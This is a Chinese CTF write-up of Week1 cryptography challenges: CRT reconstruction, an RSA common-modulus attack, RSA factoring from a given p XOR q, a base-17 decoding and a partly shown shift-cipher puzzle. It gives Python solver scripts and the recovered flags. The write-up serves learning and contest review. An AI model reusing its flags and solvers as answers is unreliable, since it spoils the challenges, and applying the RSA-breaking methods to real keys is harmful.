所以我们最后可以解CRT式子
只需要遍历四种情况,然后和m的值进行比较,选出其中最合适的转化为字节即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from Crypto.Util.number import long_to_bytes # 给定值 p = 71380997427449345634700552609577271052193856747526826598031269184817312570231 q = 65531748297495117965939047069388412545623909154912018722160805504300279801251 gift1 = 40365143212042701723922505647865230754866250738391105510918441288000789123995 gift2 = 10698628345523517254945893573969253712072344217500232111817321788145975103342 # 计算 n = p * q n = p * q # 定义CRT函数(针对两个模数) def crt(a, p, b, q): """解方程组: x ≡ a mod p 且 x ≡ b mod q""" # 计算p在模q下的逆元 inv_p = pow(p, -1, q) k = (b - a) * inv_p % q x = a + p * k return x % (p * q) # 枚举四种情况 candidates = [] # 情况1: m ≡ gift1 mod p, m ≡ gift2 mod q candidates.append(crt(gift1, p, gift2, q)) # 情况2: m ≡ gift1 mod p, m ≡ (q - gift2) mod q candidates.append(crt(gift1, p, q - gift2, q)) # 情况3: m ≡ (p - gift1) mod p, m ≡ gift2 mod q candidates.append(crt(p - gift1, p, gift2, q)) # 情况4: m ≡ (p - gift1) mod p, m ≡ (q - gift2) mod q candidates.append(crt(p - gift1, p, q - gift2, q)) # 检查每个候选m for i, m_candidate in enumerate(candidates): try: flag_candidate = long_to_bytes(m_candidate) # 检查是否包含常见flag格式(如可读ASCII) if flag_candidate.startswith(b'flag{') or all(32 <= byte < 127 for byte in flag_candidate): print(f"情况 {i+1} 成功: {flag_candidate}") break except: continue else: print("未找到有效flag,请检查枚举情况。")
情况 4 成功: b‘flag{Th3_c0rner5t0ne_0f_C2ypt0gr@phy}’
[Week1] two Es
这边依旧打开
可以大概看见这些内容,是一道RSA的共模攻击
想象一下,您用同一把锁(模数 n)但不同的钥匙齿纹(加密指数 e1和 e2)给同一个箱子(明文 m)上锁,得到了两把不同的锁具(密文 c1和 c2)。共模攻击就像是一位锁匠,他不需要知道锁的内部结构(私钥 d或 p, q),仅仅通过观察这两把锁具和钥匙齿纹,就能巧妙地打开箱子。
由于我们知道了n,e1,e2,c1,c2
所以可以通过扩展欧几里得算法找到整数s1和s2使得e1s1+e2 s2=1
所以现在我们有了s1和s2
由于我们知道
c1 ≡ m^e1 (mod n)
c2 ≡ m^e2 (mod n)
如果我们对密文进行如下运算:
c1^s1 · c2^s2 mod n
接下来,我们一步步推导:
c1^s1 · c2^s2 mod n
≡ (m^e1)^s1 · (m^e2)^s2 mod n(将 c1, c2用其定义替换)
≡ m^(e1·s1) · m^(e2·s2) mod n(幂的乘方法则:(a^b)^c = a^(b·c))
≡ m^(e1·s1 + e2·s2) mod n(同底数幂相乘,指数相加)
请注意,指数部分 e1·s1 + e2·s2正是我们根据贝祖定理得到的 1!
所以,上式最终简化为:
≡ m^1 mod n
≡ m
所以我们这样子就能通过共模攻击得到m了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from Crypto.Util.number import long_to_bytes import math # 给定数据 n = 118951231851047571559217335117170383889369241506334435506974203511684612137655707364175506626353185266191175920454931743776877868558249224244622243762576178613428854425451444084313631798543697941971483572795632393388563520060136915983419489153783614798844426447471675798105689571205618922034550157013396634443 e1 = 2819786085 e2 = 4203935931 c1 = 104852820628577684483432698430994392212341947538062367608937715761740532036933756841425619664673877530891898779701009843985308556306656168566466318961463247186202599188026358282735716902987474154862267239716349298652942506512193240265260314062483869461033708176350145497191865168924825426478400584516421567974 c2 = 43118977673121220602933248973628727040318421596869003196014836853751584691920445952955467668612608693138227541764934104815818143729167823177291260165694321278079072309885687887255739841571920269405948846600660240154954071184064262133096801059918060973055211029726526524241753473771587909852399763354060832968 # 计算 e1 和 e2 的 GCD d = math.gcd(e1, e2) print(f"GCD of e1 and e2: {d}") # 扩展欧几里得算法,找到 s1 和 s2 使得 e1*s1 + e2*s2 = d def extended_gcd(a, b): if b == 0: return (1, 0, a) else: x, y, g = extended_gcd(b, a % b) return (y, x - (a // b) * y, g) s1, s2, _ = extended_gcd(e1, e2) print(f"s1 = {s1}, s2 = {s2}") # 处理负指数:如果 s1 或 s2 为负,计算对应密文的模逆元 if s1 < 0: c1_inv = pow(c1, -1, n) c1_val = pow(c1_inv, -s1, n) else: c1_val = pow(c1, s1, n) if s2 < 0: c2_inv = pow(c2, -1, n) c2_val = pow(c2_inv, -s2, n) else: c2_val = pow(c2, s2, n) # 计算 T = c1^s1 * c2^s2 mod n = m^d mod n T = (c1_val * c2_val) % n # 尝试计算 T 的立方根(因为 d=3) def integer_cube_root(x): # 使用二分查找计算整数立方根 if x < 0: return -integer_cube_root(-x) low, high = 0, x while low <= high: mid = (low + high) // 2 mid3 = mid ** 3 if mid3 < x: low = mid + 1 elif mid3 > x: high = mid - 1 else: return mid # 找到精确立方根 return None # 不是精确立方根 m_candidate = integer_cube_root(T) if m_candidate is not None: # 验证解密结果是否为文本 flag = long_to_bytes(m_candidate) try: print(flag.decode()) except UnicodeDecodeError: print("Found integer but not valid text. Trying alternative methods...") # 如果直接立方根失败,可能 m^3 >= n,需要解模方程 x^3 ≡ T mod n # 但由于 n 是合数且大,分解困难,这里尝试小根攻击或其它方法可能不适用 # 建议检查 m 是否较小,或使用更高级的工具(如 gmpy2) else: print("T is not a perfect cube.可能需要更复杂的攻击(如分解 n 或使用 Coppersmith 方法)。")
GCD of e1 and e2: 3
s1 = -301370735, s2 = 202144138
flag{s01v3_rO0T_bY_7he_S4mE_m0dU1u5}
[Week1] xorRSA
叫xorRSA,看来是异或和RSA合起来了
告诉了我们p*q和p^q的值
这边其实就是解方程组
由于真的很大,似乎没有那么简单,z3一直都解不出来
麻烦的很啊。。以后还是让谢晨做密码算了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from Cryptodome.Util.number import long_to_bytes, inverse n = int("18061840786617912438996345214060567122008006566608565470922708255493870675991346333993136865435336505071047681829600696007854811200192979026938621307808394735367086257150823868393502421947362103403305323343329530015886676141404847528567199164203106041887980250901224907217271412495658238000428155863230216487699143138174899315041844320680520430921010039515451825289303532974354096690654604842256150621697967106463329359391655215554171614421198047559849727235032270127681416682155240317343037276968357231651722266548626117109961613350614054537118394055824940789414473424585411579459583308685751324937629321503890169493") e = 65537 c = int("17953801553187442264071031639061239403375267544951822039441227630063465978993165328404783737755442118967031318698748459837999730471765908918892704038188635488634468552787554559846820727286284092716064629914340869208385181357615817945878013584555521801850998319665267313161882027213027139165137714815505996438717880253578538572193138954426764798279057176765746717949395519605845713927900919261836299232964938356193758253134547047068462259994112344727081440167173365263585740454211244943993795874099027593823941471126840495765154866313478322190748184566075583279428244873773602323938633975628368752872219283896862671494") x = int("88775678961253172728085584203578801290397779093162231659217341400681830680568426254559677076410830059833478580229352545860384843730990300398061904514493264881401520881423698800064247530838838305224202665605992991627155227589402516343855527142200730379513934493657380099647739065365753038212480664586174926100") def recover_prime_from_xor(n, x): bits = n.bit_length() candidates = [0] # possible low bits of p for i in range(bits): mask = (1 << (i+1)) - 1 a_low = x & mask n_low = n & mask new = [] for p_low in candidates: for b in (0, 1): p_try = p_low | (b << i) q_try = p_try ^ a_low if (p_try * q_try) & mask == n_low: new.append(p_try) if not new: raise ValueError(f"no fit at bit {i}") candidates = new # 保持所有可能,通常数量很小 # 尝试哪些候选是真正的质因子 for p in candidates: if p and n % p == 0: return p q = p ^ x if q and n % q == 0: return n // q raise ValueError("no factor found") p = recover_prime_from_xor(n, x) q = n // p phi = (p-1)*(q-1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m) print("p bitlen =", p.bit_length(), "q bitlen =", q.bit_length()) print("flag =", flag)
flag{U5e_PruN1ng_41g0rI7hm_tO_sEarch}
[Week1] beyondHex
就那么点条件,说是Hex结果有个G
怀疑一下十七进制
一眼出了,这就是flag
所以这题只是个简单的十七进制转化而已
flag{welc0me_t0_?CTF!}
[Week1] Strange Machine
打开来需要先改为utf-8编码
然后大概就长成这样子
攻击步骤大约如上,我们试着填填看
确实输入一样的都不一样了,我们尝试计算出左移的偏移量
正好是左移12位
所以是offset=12